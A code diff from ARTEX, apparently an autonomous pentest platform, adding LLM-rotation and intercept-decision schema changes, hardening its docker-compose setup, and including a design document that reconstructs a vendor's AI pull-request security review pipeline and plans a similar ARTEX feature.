-- Custom session header name; backfills old databases. Default '' = do not send; old configs behave unchanged.
ALTER TABLE llm_profiles ADD COLUMN IF NOT EXISTS session_header_key TEXT NOT NULL DEFAULT '';
-- Custom User-Agent; backfills old databases. Default '' = do not override (keep the default UA); old configs behave unchanged.
ALTER TABLE llm_profiles ADD COLUMN IF NOT EXISTS user_agent TEXT NOT NULL DEFAULT '';
-- Per-profile retry overrides (see the LLM retry design doc). Each of the three groups is a pair of
-- "attempts + fixed interval" with unified semantics: attempts 0=use the global default, -1=disable this layer's
@@ -522,6 +527,7 @@ CREATE TABLE IF NOT EXISTS tasks (
llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL,
active_llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL,
llm_chain_revision BIGINT NOT NULL DEFAULT 0,
llm_rotate BOOLEAN NOT NULL DEFAULT false,
company_id BIGINT REFERENCES companies(id) ON DELETE SET NULL,
parent_ref TEXT,
timeout_seconds INTEGER NOT NULL DEFAULT 0,
@@ -545,6 +551,7 @@ CREATE TRIGGER trg_tasks_upd BEFORE UPDATE ON tasks
-- planner heartbeat trigger interval (seconds); backfills old databases. Default 300s (5min). See docs/planner-trigger-impl-plan.md
ALTER TABLE tasks ADD COLUMN IF NOT EXISTS plan_heartbeat_seconds INTEGER NOT NULL DEFAULT 300;
ALTER TABLE tasks ADD COLUMN IF NOT EXISTS plan_quiet_mode BOOLEAN NOT NULL DEFAULT true;
ALTER TABLE tasks ADD COLUMN IF NOT EXISTS llm_rotate BOOLEAN NOT NULL DEFAULT false;
-- Concurrency-limit hold state; backfills old databases. true=queued due to the concurrency limit, auto-starts when a slot frees up.
ALTER TABLE tasks ADD COLUMN IF NOT EXISTS queued BOOLEAN NOT NULL DEFAULT false;
-- Asset coverage feature switch; backfills old databases. true (default)=compute/show test coverage, auto-accumulate test scope,
@@ -1081,7 +1088,7 @@ CREATE TABLE IF NOT EXISTS intercept_pending (
tool_input JSONB NOT NULL DEFAULT '{}',
status TEXT NOT NULL DEFAULT 'pending'
CHECK (status IN ('pending', 'allowed', 'denied', 'timeout')),
-- Decision reason: the rule message when a rule hits; the model's short reason (with the [Model] prefix) for an LLM fallback decision.
-- Decision reason: the rule message when a rule hits; the model's short reason (with the [model] prefix) for an LLM fallback decision.
reason TEXT NOT NULL DEFAULT '',
decided_at TIMESTAMPTZ,
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
@@ -1095,6 +1102,16 @@ ALTER TABLE intercept_pending ADD COLUMN IF NOT EXISTS audit JSONB;
ALTER TABLE intercept_pending ADD COLUMN IF NOT EXISTS decision_source TEXT NOT NULL DEFAULT '';
UPDATE intercept_pending SET decision_source=CASE WHEN rule_id IS NOT NULL THEN 'rule'
WHEN reason LIKE '[Model]%' THEN 'model' ELSE 'unknown' END WHERE decision_source='';
-- Judge decisions were stored as 'unknown' because the readers expected a capitalized
-- prefix while the judge wrote '[model]' (and '[模型]' before e233c02). Idempotent:
-- once corrected no row matches the WHERE clause again.
UPDATE intercept_pending SET decision_source='model'
WHERE decision_source='unknown' AND rule_id IS NULL
AND (reason LIKE '[model]%' OR reason LIKE '[模型]%');
-- Actor that settled the request: '' (pending, or decided before this column
-- existed) | human | rule | model | system. No backfill: readers fall back to
-- decision_source for legacy rows instead of rewriting history.
ALTER TABLE intercept_pending ADD COLUMN IF NOT EXISTS decided_by TEXT NOT NULL DEFAULT '';
-- =====================================================================
-- L. Finding persistence
@@ -1164,6 +1181,12 @@ CREATE TRIGGER trg_conversation_retest_delete BEFORE DELETE ON conversations
ALTER TABLE findings ADD COLUMN IF NOT EXISTS evidence_version BIGINT NOT NULL DEFAULT 0;
ALTER TABLE findings ADD COLUMN IF NOT EXISTS report_evidence_version BIGINT NOT NULL DEFAULT 0;
-- Machine-checked proof state (S1). Separate from status (human disposition). Existing rows stay
-- unverified / POE 0: history is never auto-verified. Values validated server-side, no CHECK.
-- verification_status: verified / unverified / blocked / not_assessed / false_positive.
ALTER TABLE findings ADD COLUMN IF NOT EXISTS poe_level SMALLINT NOT NULL DEFAULT 0;
ALTER TABLE findings ADD COLUMN IF NOT EXISTS verification_status TEXT NOT NULL DEFAULT 'unverified';
ALTER TABLE findings ADD COLUMN IF NOT EXISTS verification_note TEXT NOT NULL DEFAULT '';
CREATE TABLE IF NOT EXISTS traffic_evidence_snapshots (
id TEXT PRIMARY KEY,
+6 -1
View File
@@ -677,13 +677,18 @@ func restoreInterceptRows(tx *sql.Tx, raw json.RawMessage) error {
source = "unknown"
if row["rule_id"] != nil {
source = "rule"
} else if reason, _ := row["reason"].(string); strings.HasPrefix(reason, "[Model]") {
} else if reason, _ := row["reason"].(string); isModelReason(reason) {
source = "model"
}
row["decision_source"] = source
}
// Archives predating decided_by lack this NOT NULL column too.
if row["decided_by"] == nil {
row["decided_by"] = ""
}
if status, _ := row["status"].(string); status == "pending" {
row["status"] = "timeout"
row["decided_by"] = "system"
row["reason"] = "approval timed out while the task was archived"
row["decided_at"] = time.Now().UTC()
if audit, ok := row["audit"].(map[string]any); ok {
+17 -5
View File
@@ -33,6 +33,9 @@ type Task struct {
LLMChainRevision int64 `json:"-"`
LLMFailoverState string `json:"llm_failover_state,omitempty"`
LLMFailoverReason string `json:"llm_failover_reason,omitempty"`
// LLMRotate: per-intent chain-head rotation switch (#85); false = classic
// ordered failover from the active head.
LLMRotate bool `json:"llm_rotate"`
SourceTaskIDs []int64 `json:"source_task_ids,omitempty"`
CompanyIDs []int64 `json:"company_ids,omitempty"`
ParentRef string `json:"parent_ref,omitempty"` // parent task id (recorded by orchestration spawn; empty=top level)
@@ -165,6 +168,11 @@ type TaskCreateOptions struct {
CoverageEnabled *bool
// InterceptRules are task-level asset interception rules, written into task_intercept_rules in the same transaction as the task at creation.
InterceptRules []TaskInterceptRuleInput
// LLMRotate enables per-intent round-robin rotation of the task's LLM chain
// heads (#85): each claimed worker intent runs on the next profile in the
// chain instead of the single active head. nil = off (default), preserving
// the ordered-failover semantics.
LLMRotate *bool
}
// CreateTaskWithOptions creates an exploration, task, direct source relations,
@@ -239,10 +247,14 @@ VALUES ($1, 'fact', $2, 0, 'origin', 'system')`, expID, string(originPayload));
PlanQuietMode: quietMode,
CoverageEnabled: coverageEnabled,
}
rotate := false
if opts.LLMRotate != nil {
rotate = *opts.LLMRotate
}
if err := tx.QueryRow(`
INSERT INTO tasks(name, category_id, description, goal, exploration_id, llm_profile_id, active_llm_profile_id, timeout_seconds, plan_heartbeat_seconds, plan_quiet_mode, coverage_enabled)
VALUES ($1,$2,$3,$4,$5,$6,$6,$7,$8,$9,$10)
RETURNING id, status, paused, created_at`, opts.Name, opts.CategoryID, description, goal, expID, active, opts.TimeoutSeconds, opts.PlanHeartbeatSeconds, quietMode, coverageEnabled).Scan(&t.ID, &t.Status, &t.Paused, &t.CreatedAt); err != nil {
INSERT INTO tasks(name, category_id, description, goal, exploration_id, llm_profile_id, active_llm_profile_id, timeout_seconds, plan_heartbeat_seconds, plan_quiet_mode, coverage_enabled, llm_rotate)
VALUES ($1,$2,$3,$4,$5,$6,$6,$7,$8,$9,$10,$11)
RETURNING id, status, paused, created_at`, opts.Name, opts.CategoryID, description, goal, expID, active, opts.TimeoutSeconds, opts.PlanHeartbeatSeconds, quietMode, coverageEnabled, rotate).Scan(&t.ID, &t.Status, &t.Paused, &t.CreatedAt); err != nil {
return nil, err
}
if err := insertTaskRelations(tx, t.ID, opts.SourceTaskIDs); err != nil {
@@ -358,11 +370,11 @@ func insertTaskLLMProfiles(tx *sql.Tx, taskID int64, profileIDs []int64) error {
const taskCols = `id, COALESCE(name,''), category_id,
COALESCE((SELECT category.name FROM task_categories category WHERE category.id=tasks.category_id),''),
description, goal, exploration_id, status, paused, queued, queued_at, COALESCE(queue_mode,''), llm_profile_id, active_llm_profile_id, COALESCE(parent_ref,''), pinned_at, created_at, completed_at, COALESCE(timeout_seconds,0), COALESCE(plan_heartbeat_seconds,300), COALESCE(plan_quiet_mode,true), COALESCE(coverage_enabled,true), first_run_at, deadline_at`
description, goal, exploration_id, status, paused, queued, queued_at, COALESCE(queue_mode,''), llm_profile_id, active_llm_profile_id, COALESCE(parent_ref,''), pinned_at, created_at, completed_at, COALESCE(timeout_seconds,0), COALESCE(plan_heartbeat_seconds,300), COALESCE(plan_quiet_mode,true), COALESCE(coverage_enabled,true), COALESCE(llm_rotate,false), first_run_at, deadline_at`
func scanTask(sc interface{ Scan(...any) error }) (*Task, error) {
var t Task
if err := sc.Scan(&t.ID, &t.Name, &t.CategoryID, &t.CategoryName, &t.Description, &t.Goal, &t.ExplorationID, &t.Status, &t.Paused, &t.Queued, &t.QueuedAt, &t.QueueMode, &t.LLMProfileID, &t.ActiveLLMProfileID, &t.ParentRef, &t.PinnedAt, &t.CreatedAt, &t.CompletedAt, &t.TimeoutSeconds, &t.PlanHeartbeatSeconds, &t.PlanQuietMode, &t.CoverageEnabled, &t.FirstRunAt, &t.DeadlineAt); err != nil {
if err := sc.Scan(&t.ID, &t.Name, &t.CategoryID, &t.CategoryName, &t.Description, &t.Goal, &t.ExplorationID, &t.Status, &t.Paused, &t.Queued, &t.QueuedAt, &t.QueueMode, &t.LLMProfileID, &t.ActiveLLMProfileID, &t.ParentRef, &t.PinnedAt, &t.CreatedAt, &t.CompletedAt, &t.TimeoutSeconds, &t.PlanHeartbeatSeconds, &t.PlanQuietMode, &t.CoverageEnabled, &t.LLMRotate, &t.FirstRunAt, &t.DeadlineAt); err != nil {
return nil, err
}
t.Pinned = t.PinnedAt != nil
+16 -3
View File
@@ -15,7 +15,14 @@ services:
restart: unless-stopped
artex:
image: autumn27/artex:${ARTEX_TAG:-latest}
# Built from this checkout. The previous reference was a third-party
# namespace whose repository is gone: whoever controls that name could
# publish the tag this file would pull.
build:
context: .
args:
ARTEX_VERSION: ${ARTEX_VERSION:-dev}
image: artex:local
depends_on:
postgres:
condition: service_healthy
@@ -27,13 +34,19 @@ services:
ARTEX_LLM_MODEL: ${ARTEX_LLM_MODEL:-}
ARTEX_LLM_BASE_URL: ${ARTEX_LLM_BASE_URL:-}
ARTEX_LLM_PROXY: ${ARTEX_LLM_PROXY:-}
ARTEX_JWT_KEY_DIR: /app/keys
ARTEX_TRUSTED_PROXIES: ${ARTEX_TRUSTED_PROXIES:-}
ARTEX_UNTRUSTED_BOUNDARY: ${ARTEX_UNTRUSTED_BOUNDARY:-}
ports:
- "8787:8787"
- "${ARTEX_BIND_ADDR:-127.0.0.1}:8787:8787"
- "127.0.0.1:8788:8788"
volumes:
# Bind the data directory (jwt.key, SQLite, etc.) to data/ in the project root,
# Bind the data directory (SQLite, task files, etc.) to data/ in the project root,
# so it is easy to inspect/back up on the host and survives container rebuilds.
- ./data:/app/data
# JWT signing key (jwt.key), kept out of data/, which the file manager browses.
# Persisting it keeps users signed in across container rebuilds.
- ./keys:/app/keys
# Mount skills/ from the project root into the container (overriding the image's built-in /app/skills);
# skill changes require no image rebuild — the container reads the host copy.
- ./skills:/app/skills
+402
View File
@@ -0,0 +1,402 @@
# AI PR Review: REA Analysis and ARTEX Integration Plan
Status: research + design. No source code, prompts, or proprietary assets from the reference product are reproduced here. The analysis is based on a public client bundle observed with REA, the authenticated UI of a trial organization, and the vendor's public documentation and marketing pages. Field and enum names below come from generated client schemas and are evidence of the wire/data model, not a copy of server code.
Date: 2026-10-22
Target: the reference web application
Tooling: REA 6.7.0 (`analyze-web-bundle`, `analyze-javascript-application`, `capture-web-screenshot`, `list-browser-targets`), Chrome 155 over CDP, the vendor's public documentation.
## 1. TL;DR
The reference PR check is not a single "LLM reviews the diff" prompt. The client data model exposes a pipeline with these distinct stages:
1. **Webhook-triggered, policy-gated PR scan** — runs on PR/MR open or update, skips drafts/forks/outside contributors, caps changed files at 500, and honors repo config and exclusions.
2. **Repository context assembly** — repo indexing (symbols, call graph, token counts), an auto-generated threat model, uploaded context documents, and repository rules.
3. **Candidate discovery** — static data-flow/taint analysis plus LLM review agents; findings carry `taint_path`, `affected_code`, `affected_file`, `cwe_id`, and `owasp_category`.
4. **Validation** — a validation agent produces `verified_claims` / `unverified_claims` and may perform optional dynamic verification in a sandbox, yielding a `dynamic_verdict` and `dynamic_evidence`.
5. **Dedup + triage** — fingerprint/embedding-based duplicate handling, `detection_count`, and states such as `true_positive`, `false_positive`, `accepted_risk`, `resolved`.
6. **GitHub output** — inline PR comments plus a check run with either annotations or status-only output; the check fails only when `fail_on.severity` is configured and an open/valid finding meets it.
7. **Remediation** — an agent validates exploitability, writes a minimal fix, runs tests, adds a regression test, and opens a PR. A retest later marks fixes `verified_fixed` or `not_fixed`.
For ARTEX, the highest-value additions are the **PR eligibility/diff layer**, **code-context index + taint candidates**, **validator pass**, **dedup/triage lifecycle**, and **check-run publisher**. The autonomous pentest graph and existing finding/retest machinery can be reused rather than duplicated.
### 1.1 Platform context
The vendor's public homepage markets three offerings. The PR check is only the first; the other two matter because they share the finding, triage, and verification model.
| Area | Offering | What is public |
| --- | --- | --- |
| Code security | PR review | Reviews every PR/MR, validates vulnerabilities before merge, inline comments and checks. This document reconstructs it. |
| Product security | Whitebox pentest | Combines repository context with active testing against target URLs and auth instructions; one free retest; heavier use of dynamic verification. |
| Organization security | Continuous red teaming | "Simulate a persistent adversary." Advertised as a product area, but no public technical documentation describes scheduling, scope, agents, or output. |
The homepage also markets two cross-product loops: auto-triage/autofix to verify findings and prepare tested fixes, and self-improving threat models based on triage feedback. Both are consistent with the client schemas and the remediation workflow below, but the red-teaming internals are not observable from public evidence.
## 2. Evidence and confidence
| Evidence | What it establishes |
| --- | --- |
| REA `analyze_web_bundle` on the authenticated app (135 scripts, 64 routes), Evidence `ev_455acd3a8b10796167f2499ac63b1e131a63e48e9696065a8b6633c6f9a47b3b` | Route map, script inventory, authenticated app shell, settings and copy |
| REA `analyze_javascript_application` (127 files, 6,877 findings), Evidence `ev_f0d14c017237436a907624c1d8f4db8b7a81ee9309cfa2eb9cead52f6e9dcf9b` | Static module graph and endpoint/storage observations |
| Generated protobuf-es parsers/serializers in `_nuxt/ba334sRx.js` | Full client-side wire model for findings, scans, PR checks, fixes, validation, and repo indexing |
| Public docs: `code-review/overview`, `code-review/config`, `code-review/rules`, `code-review/findings-feedback`, `platform/automations/remediation`, `white-box-pentest/overview`, `api-reference/scans/create-scan` | Trigger behavior, gating semantics, review limits, remediation phases, scan request fields |
| Authenticated UI copy | Empty-state wording, settings, triage/fix/retest actions, auth-instruction handling |
| Vendor marketing homepage (EN/FR) | Three product areas, including continuous red teaming; cross-product auto-triage/autofix and self-improving threat-model claims; no red-team internals |
**Proven:** route and field existence; enums and state names; PR check/comment/gating behavior as documented; remediation phases; 500-file limit; config/rules behavior; validation/dynamic-verification fields.
**Inferred:** the exact ordering and implementation of static taint analysis, LLM prompting, and validation; whether every PR scan performs dynamic testing; which parsing/static-analysis engines are used server-side.
**Unknown:** server implementation, model providers, prompt text, rule engine internals, the internal scoring/ranking formula, and the continuous red-teaming pipeline (scheduling, scope, agent topology, output). The client exposes only `Default` / `Legacy` model sets and cost/token accounting, not provider names.
## 3. What the PR check does
### 3.1 Trigger and eligibility
- On GitHub, the integration is a GitHub App; GitLab/Bitbucket/Azure DevOps have equivalent flows. Webhooks deliver on PR/MR open or update. A delivery-status model (`Webhooks delivering` / `failing` / `Webhook status unavailable`) is surfaced in the UI.
- PR Review is enabled per repository. Drafts and PRs from forks or outside contributors can be skipped without a comment; other skips post the reason on the PR while comments are enabled.
- Each PR/MR scan supports **up to 500 changed files**; larger PRs are skipped (public docs).
- A force-review mention command (for example, a bot mention in a PR comment) forces a review when config would otherwise exclude the PR.
- The check record carries `checkRunId`, `headSha`, `installationId`, `prNumber`, repository owner/name, PR author identity, a `prReviewReactionId`, and a status enum of `pending / in_progress / completed / failed / cancelled / skipped`.
### 3.2 Configuration and gating
The repository config file is read from the **default branch** so a PR cannot change its own rules. It supports:
- `exclude.{branches,labels,keywords,paths,authors}` and `include.{branches,labels,...}`. Path exclusion applies only when **every** changed file matches.
- `fail_on.severity`: `critical | high | medium | low | info`. Without it, the check stays green when the scan completes; findings are comments only. With it, the check fails when an **open or confirmed-valid** finding is at or above the threshold.
- Repo config wins per category; unset categories inherit organization defaults; `[]` clears an org default.
- Invalid config fails open (missing/malformed ignored; unknown keys skipped; a type mismatch discards the file).
The repository rules file is separate from scope: it supplies app-specific context (trusted services, authz patterns, risk areas, scoped exclusions) to reduce false positives.
Triage updates the check immediately: marking a gated finding `false_positive` or `accepted_risk` can make the check pass; reopening it makes it fail again. Feedback commands on GitHub/GitLab include `!fp`, `!accepted_risk`, `!valid`, `!fixed`.
### 3.3 Review output
- Inline comments are posted on affected code by default.
- GitHub check output mode is `annotations` or `status-only`.
- Findings posted as PR comments; when source-control comments are off, findings stay in the platform while scans and check statuses still update.
- For public repositories, outside-diff findings hide sensitive details (title, description, PoC, file locations); inline findings on changed code remain visible.
- The scan record tracks `pr_number`, `pr_url`, `pr_lines_added`, `pr_lines_removed`, `scan_type` (`pr` or `full`).
### 3.4 Relation to the other product areas
- **Whitebox pentest** uses the same finding and verification vocabulary (`scan_type: full`, target URLs, auth instructions, `dynamic_verdict`, `dynamic_evidence`, retest). The PR check can be treated as the continuous, diff-scoped path through the same platform.
- **Continuous red teaming** is marketed as "simulate a persistent adversary" but has no public technical documentation. It may share the finding, triage, and threat-model model, but that is unverified; do not assume its scanner or scheduling model in an implementation.
- The shared loop is finding -> triage feedback -> threat-model update -> better review/pentest signal. The client exposes threat-model timestamps and triage activity, not the update algorithm.
## 4. Reconstructed vulnerability-detection pipeline
```mermaid
flowchart TB
W["GitHub/GitLab webhook<br/>PR opened / updated"] --> E{"Eligibility<br/>draft? fork? excluded? >500 files?"}
E -->|skip| SK["Check: skipped<br/>(reason in status)"]
E -->|run| CTX["Assemble context<br/>diff @ head SHA + repo index<br/>+ threat model + rules.md + prior triage"]
CTX --> SA["Static analysis<br/>symbols, call graph,<br/>taint/data-flow rules"]
CTX --> LLM["LLM review agents<br/>changed hunks + repository context"]
CTX --> DEP["Dependency verdicts<br/>known-malicious / OSV feeds"]
SA --> CAND["Candidate findings<br/>file, code, taint path, CWE/OWASP"]
LLM --> CAND
DEP --> CAND
CAND --> VAL["Validator agent<br/>verified/unverified claims"]
VAL --> DYN{"requires verification<br/>and auth/target available?"}
DYN -->|yes| DVER["Sandbox/browser verification<br/>confirmed / partial / not reproduced / blocked"]
DYN -->|no| DEDUP
DVER --> DEDUP["Dedup + fingerprint<br/>detection_count, duplicate_of, similarity"]
DEDUP --> PUB["Publish<br/>inline comments + check run<br/>(annotations or status-only)"]
PUB --> GATE{"fail_on severity<br/>and open/valid finding?"}
GATE -->|yes| RED["Check: failure"]
GATE -->|no| GREEN["Check: success"]
PUB --> TRIAGE["Triage / feedback<br/>!valid !fp !accepted_risk !fixed"]
TRIAGE --> PUB
TRIAGE --> FIX["Remediation agent<br/>validate → minimal fix → tests → PR"]
FIX --> RETEST["Retest<br/>verified_fixed / not_fixed"]
```
### 4.1 Context assembly
The scan record and client model show repository indexing with `symbol_count`, `total_repo_tokens`, `unsupported_languages`, `commit_sha`, `from_cache`, predicted cost, and a provider/status field. A separate call-graph download exists for scans. A threat model is generated automatically the first time a PR is reviewed in a repo (or when context documents are uploaded), and can be synthesized at the application level across repos. Reviews also consume the repository rules file and prior triage feedback.
Likely purpose: give the reviewer a compact, semantically indexed view of the changed code plus reachability context (call graph, threat model) instead of raw repository text.
### 4.2 Static candidate discovery
The finding schema is the strongest evidence of data-flow analysis:
- `affected_file`, `affected_code`
- `taint_path` (ordered collection)
- `cwe_id`, `owasp_category`
- `category`, `title`, `description`, `recommendation`
- `proof_of_concept`
- `scan_pr_number`, `scan_pr_url`, `scan_type`
`taint_path` plus the downloadable call graph implies source-to-sink data-flow tracking, not just pattern matching. The exact rules engine is not exposed; candidates may come from built-in rules, repository rules, and LLM review.
### 4.3 LLM review and validation
Client strings and schemas expose:
- "Review agent", "Agents", "Delegating to subagent", "Delegated to subagent".
- "Starting validation agent...", "View validation activity", "Validated during triage".
- A validation object: `verified_claims`, `unverified_claims`, `evidence_summary`, `validation_output`, `blocker_detail`.
- Review summaries with `conclusion`, `riskRating`, `riskRationale`, `narrativeMarkdown`, `nextSteps`, `severityCounts`, and `model`.
The safest reconstruction is a two-pass design: a **reviewer** proposes findings from the diff plus repository context, and a **validator** attempts to falsify or confirm each claim against code and evidence. Only validated claims are eligible for gating.
### 4.4 Optional dynamic verification
The scan model contains `requires_verification`, `has_auth_instructions`, `auth_verification_status`, and `auth_verification_failure_reason`. Findings carry `dynamic_verdict` (`confirmed`, `partially_confirmed`, `not_reproduced`, `blocked`) and `dynamic_evidence`. UI copy warns that auth instructions are shared with AI agents for testing and recommends a test environment.
This is a sandbox/browser verification stage. It is optional and more prominent in whitebox pentests, but the PR-scan schema supports it.
### 4.5 Dedup and triage
Finding records include `detection_count`, `duplicate_of`, `first_seen_at`, `last_seen_at`, `first_seen_scan_id`, `state`, `verification_status`, and `latest_state_change`. One variant includes an `embedding` and `similarity`, indicating semantic duplicate matching. States:
- Finding state: `open`, `true_positive`, `false_positive`, `accepted_risk`, `resolved`, `closed`.
- Triage verification: `pending`, `approved`, `rejected`.
- Dynamic verdict: `confirmed`, `partially_confirmed`, `not_reproduced`, `blocked`.
### 4.6 Remediation
The remediation docs and fix schema agree:
1. Validate the finding: test exploitability; if unreachable/sound, mark `false_positive` instead of patching.
2. Implement the minimal correct fix.
3. Run the repo's test suite, add relevant regression tests, and verify the fix.
4. Commit to a fix branch and open a PR/MR.
Fix record: `base_commit_sha`, `unified_diff`, `commit_message`, `pr_title`, `pr_body`, `reason`, `summary`, `cost_usd`, `task_id_cli`, and verification `{notes, reproduced, regression_test_added, test_command, test_output}`. Fix status: `dispatched`, `pr_created`, `no_fix`, `false_positive`, `failed`, `stopped_cap_exceeded`, `pr_closed`. Verification: `not_requested`, `pending`, `verified_fixed`, `not_fixed`.
## 5. Data model worth mirroring in ARTEX
These are client field names, not a server schema. They are still a useful target model.
| Concept | Important fields |
| --- | --- |
| PR check task | `checkRunId`, `headSha`, `installationId`, `prNumber`, `repositoryOwner`, `repositoryName`, `pr_author_login`, `prReviewReactionId`, `status` |
| Scan | `scan_type` (`pr`/`full`), `pr_number`, `pr_url`, `branch`, `commit`, `current_step`, `display_status`, `model` (`default`/`legacy`), `requires_verification`, `has_auth_instructions`, `triage_enabled`, `findings_summary`, `credits_used`, `pr_lines_added/removed` |
| Finding | `affected_file`, `affected_code`, `taint_path[]`, `cwe_id`, `owasp_category`, `severity`, `category`, `title`, `description`, `recommendation`, `proof_of_concept`, `detection_count`, `duplicate_of`, `state`, `verification_status`, `dynamic_verdict`, `dynamic_evidence`, `scan_pr_number/url`, `first_seen_at`, `last_seen_at`, `resolved_at` |
| Validation | `verified_claims[]`, `unverified_claims[]`, `evidence_summary`, `validation_output`, `blocker_detail` |
| Review summary | `conclusion`, `riskRating`, `riskRationale`, `narrativeMarkdown`, `nextSteps`, `severityCounts`, `model` |
| Repo indexing | `symbol_count`, `total_repo_tokens`, `unsupported_languages[]`, `provider`, `from_cache`, `commit_sha`, predicted cost bounds |
| Fix | `fix{base_commit_sha, unified_diff}`, `pr_title`, `pr_body`, `commit_message`, `status`, `verification{reproduced, regression_test_added, test_command, test_output, notes}` |
Scan status values observed: `pending`, `running`, `completed`, `failed`, `stopped`, `cancelled`, `skipped`, `pending_verification`, `pending_triage`, `draft`, `estimating`, `estimated`.
## 6. How the check decides pass/fail
The check is deliberately **advisory by default**. A completed scan is green; findings do not block. `fail_on.severity` opts into gating. Only open or confirmed-valid findings count. Triage immediately recomputes the check, and the config is read from the default branch.
For ARTEX this means the check runner must separate:
- **Scan outcome** (completed/failed/cancelled/skipped) from
- **Gate outcome** (success/failure based on policy + current finding disposition).
Keeping those independent avoids the common mistake of failing a check because the scanner crashed, or passing it because a finding was dismissed in the platform but not recomputed.
## 7. ARTEX integration blueprint
ARTEX today is an autonomous pentest system: Go backend, Next.js UI, PostgreSQL, dual graph (assets + exploration), planner/worker agents, traffic proxy, findings, and retests. It does **not** have a GitHub PR review subsystem. The following design adds one without turning ARTEX into a full static-analysis platform on day one.
### 7.1 Design principles
- Reuse findings/retests/notifications; don't create a parallel vulnerability model.
- Treat repository content and PR text as untrusted input (prompt injection, secrets).
- Separate deterministic gates (eligibility, config, fail_on) from probabilistic detection (LLM/static candidates).
- Make every scan idempotent by `(repository, head_sha)`.
- Keep the check advisory by default; gating is explicit policy.
- Never execute untrusted repository code on the host. Dynamic verification runs in the existing sandbox/proxy boundary.
### 7.2 Proposed package layout
```
codereview/
webhook.go GitHub/GitLab webhook verification and event normalization
model.go Scan, CheckRun, PullRequest, Finding, FixRun, enums
diff.go unified-diff parsing, hunk→file mapping, 500-file cap
config.go .artex/config.yaml (repository policy)
index.go repository snapshot + symbol/call-graph index
rules.go .artex/rules.md, org/repo rules, path/author/label filters
analyze.go deterministic rules + taint candidate extraction
review.go LLM reviewer agent (diff + context)
validate.go validator agent (claims, reachability, false-positive checks)
dynamic.go optional verification through ARTEX target/traffic tooling
dedup.go fingerprints + embeddings + duplicate_of
publish.go GitHub check run + inline annotations/comments
fix.go remediation run and fix-PR creation
retest.go post-fix verification and state transitions
```
Each package should expose interfaces, not global state, so the pipeline can run in the existing engine or as a separate worker.
### 7.3 Storage
Add a small code-review schema rather than overloading `findings`:
- `cr_repositories`: provider, installation id, owner/name, enabled, default branch, config hash, index state.
- `cr_pull_requests`: repo id, number, head SHA, base SHA, author, draft/fork flags, state, `check_run_id`, `check_conclusion`, `check_output_mode`, `last_event_at`.
- `cr_scans`: PR id, head SHA, status, current step, model set, token/cost counters, started/finished, error.
- `cr_findings`: scan id, fingerprint, file, line range, taint path JSONB, CWE, OWASP, severity, title, description, recommendation, PoC, detection count, duplicate_of, state, verification status, dynamic verdict/evidence, resolved_at.
- `cr_fix_runs`: finding id, status, base commit, unified diff, test command/output, reproduced/regression flags, PR URL, cost.
- `cr_feedback`: finding id, actor, command/state, reason, created_at, check recomputed_at.
Alternatively, extend `findings` with nullable `source`, `file`, `line`, `fingerprint`, `cwe`, `owasp`, `taint_path`; but a separate table keeps pentest findings and code findings cleanly separable and avoids changing the existing API contract.
### 7.4 API surface
- `POST /api/webhooks/github` — verify `X-Hub-Signature-256`, normalize `pull_request` events, enqueue.
- `POST /api/codereview/pull-requests/{id}/review` — force review (equivalent to a bot mention in a PR comment).
- `GET /api/codereview/pull-requests/{id}` — status, check, findings.
- `GET /api/codereview/findings` — filters: repo, PR, severity, state, CWE/OWASP.
- `PATCH /api/codereview/findings/{id}` — triage state, severity, reason; recompute check.
- `POST /api/codereview/findings/{id}/fix` — start remediation (idempotent).
- `POST /api/codereview/findings/{id}/retest` — after a fix.
- `GET /api/codereview/repos/{id}/index` — index stats and unsupported languages.
Server routes in ARTEX use Go 1.22+ `mux.HandleFunc("METHOD /path/{id}", ...)`; follow that style.
### 7.5 PR lifecycle
1. Verify webhook signature; reject replayed deliveries using the delivery id.
2. Upsert `cr_pull_requests` by `(repo, number)`; ignore events for an already-scanned `head_sha`.
3. Load config from the **base/default branch**; evaluate include/exclude; skip drafts/forks/outside contributors; enforce the changed-file cap.
4. Create `cr_scan` with status `pending`; set check to `in_progress` with a stable `details_url`.
5. Fetch diff and base/head metadata; parse hunks; map findings to changed line ranges.
6. Build/refresh the repo index (incremental by commit; cache by `(repo, commit)`).
7. Run deterministic rules and taint extraction; run the LLM reviewer; merge candidates by fingerprint.
8. Validate each candidate; drop unreachable/false candidates; optionally run dynamic verification.
9. Dedup, assign display IDs, persist findings.
10. Publish inline comments (respecting public-repo redaction) and a check run (`annotations` or `status-only`).
11. Compute the gate from policy + open/valid findings; transition check to `completed`.
12. On triage, recompute the gate and optionally delete/update the stale comment.
13. On `!fixed` or a new commit, schedule retest; on `verified_fixed`, mark `resolved`.
### 7.6 Agent roles and prompts
- **Reviewer** (`codereview/review.go`): input = changed hunks + file summaries + call-graph neighborhood + threat model + rules. Output = candidate findings with file/line, category, severity, CWE/OWASP guess, evidence, and a proposed taint path.
- **Validator** (`codereview/validate.go`): input = candidate + surrounding code + reachability facts + prior feedback. Output = `verified_claims`, `unverified_claims`, `evidence_summary`, `validation_output`, `blocker_detail`, and a final disposition suggestion. The validator must be able to say "not exploitable" and suppress the finding.
- **Fixer** (`codereview/fix.go`): input = validated finding + repo snapshot. Output = minimal unified diff, commit message, PR title/body, test command, and verification notes.
- **Retester** (`codereview/retest.go`): re-run the reproduction or the relevant tests against the fixed commit; produce `verified_fixed` or `not_fixed`.
Use ARTEX's existing `llmpool` for provider selection, per-run token budgets, retries, and usage recording. Store model/provider metadata and cost per scan, matching the reference product's `LLM calls` / `Tokens (in/out)` visibility.
### 7.7 Static analysis for a Go codebase
A pragmatic first pass:
- **Tree-sitter** parsers for the languages you support; persist symbols, imports, and call edges.
- **Call graph** from definitions + references (start intra-repo; mark unresolved dynamic dispatch as unknown).
- **Taint rules** for common sources/sinks (HTTP handlers, SQL, template rendering, command execution, file paths, deserialization) with explicit sanitizers.
- **Custom rules** from `.artex/rules.md` and repo config; allow path/label/author exclusions.
- **Dependency verdicts**: optional OSV/advisory lookup plus a known-malicious package feed, surfaced as a separate finding category.
Do not claim full-program reachability when the call graph is partial. Record `unknown` for unresolved edges; this mirrors the reference product's `unsupported_languages` and call-graph limitations.
### 7.8 Check publisher
- Use GitHub Checks API with `name`, `head_sha`, `status`, `conclusion`, `output.title`, `output.summary`, and annotations (file, start_line, end_line, annotation_level, message).
- `status-only` mode omits annotations and only reports the summary/check state.
- `fail_on.severity` maps to the gate; severity order: `critical > high > medium > low > info`.
